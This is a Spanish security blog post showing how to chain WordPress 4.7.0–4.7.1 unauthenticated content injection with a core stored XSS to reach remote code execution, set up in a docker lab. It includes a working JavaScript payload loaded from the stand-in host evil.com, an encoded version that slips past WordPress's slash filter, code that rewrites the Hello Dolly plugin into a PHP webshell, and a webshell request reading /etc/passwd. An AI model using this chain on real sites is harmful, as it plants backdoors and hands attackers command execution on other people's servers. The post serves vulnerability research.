Seguridad informática

  • Blog
  • Noticias

De Content Injection a RCE en WordPress 4.7.0-4.7.1 (sin plugins vulnerables)

Hola!

Para muchos de vosotros es de sobra conocida la vulnerabilidad de Unauthenticated Content Injection en WordPress (más información y detalles técnicos aquí). No obstante por regla general, para aumentar el alcance de esta vulnerabilidad y llegar a ejecutar código en el host los sitios no parcheados debían contar con algún plugin concreto o bien con un plugin vulnerable de por si. Hoy vamos a ver cómo podemos conseguir ejecutar código en el host comprometido con un WordPress 4.7.0 o 4.7.1 recién instalado.

Lo primero que necesitamos es desplegar una instancia vulnerable, para ello podemos usar docker con el siguiente docker-compose.yml:

docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
version: '2'
 
services:
  wordpress:
    image: wordpress:4.7.0
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_PASSWORD: example
    entrypoint:
      - /bin/sh
      - -c
      - (sleep 5; echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config.php) & docker-entrypoint.sh apache2-foreground
  mysql:
    image: mariadb
    environment:
      MYSQL_ROOT_PASSWORD: example

Tras ejecutar docker-compose up -d, podremos acceder a nuestra nueva instancia de WordPress 4.7.0 en http://127.0.0.1:8080.

Una vez terminada la instalación, activamos los permalinks en Settings. Con esto ya tendríamos un entorno vulnerable, podríamos probar el Content Injection con este exploit.

Ahora bien, ¿Cómo conseguimos ejecutar código? Habría varias formas de hacerlo, una que resulta interesante es aprovechándose de un Stored XSS en el Core de WordPress <= 4.7.2 (más información y detalles técnicos aquí). Esta vulnerabilidad de hecho podría utilizarse en muchos otros escenarios.

Podemos introducir lo siguiente en el contenido del post aprovechándonos del Content Injection:

Con este resultado:

 

Ahora teoricamente debería bastar (que no basta) con utilizar «<script src=http://evil.com/superevil.js></script>» en el XSS. Siendo «superevil.js» el encargado de realizar las peticiones correspondientes cuando un administrador entre en la página con el Stored XSS. Esa petición podría modificar el contenido del plugin por defecto «Hello Dolly» (por ejemplo) y convertir el archivo hello.php en una webshell. Podríamos elegir otro plugin cómo objetivo tras reconocer el target. De esta forma, superevil.js podría ser algo así:

superevil.js
1
2
3
4
5
6
7
8
9
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=hello.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[cmd]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)

Pero, lo que ocurre cuando intentamos introducir con el content injection «<script src=http://evil.com/superevil.js></script>» es lo siguiente:

WordPress nos «filtra» el caracter «/». Debemos buscar un workaround para introducir nuestro «.js». De forma sucia y rápida podríamos hacer lo siguiente:

Siendo «60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,115,117,112,101,
114,101,118,105,108,46,106,115,62,60,47,115,99,114,105,112,116,62», <script src=http://evil.com/superevil.js></script> en decimal.

Una vez se ha ejecutado el script, bastaría con ir a la dirección http://hostcomprometido.com/wp-content/plugins/hello.php?cmd=cat%20/etc/passwd sin autenticarse con ningún usuario.

Success!

Archivado en: Staff

Ultimos Articulos

  • Bash del br0nx #1
  • Breaking bad [IoT]: Capítulo 4 Shell y extracción de firmware
  • Breaking bad [IoT]: Capítulo 3 conociendo UART
  • Breaking bad [IoT]: Capítulo 2 – Extracción de firmware
  • Breaking bad [IoT]: Capítulo 1 Revisión e identificación de hardware
  • Charlas Hack&Beers Almeria 2018
  • Hack&Beers Almería
  • Temple of Doom – Walktrough
  • Lin.Security: 1 – CTF Walkthrough
  • Yo solo navegaba por ahí: de la visita a la infección con Ransomware (u otro malware)

Since © 1998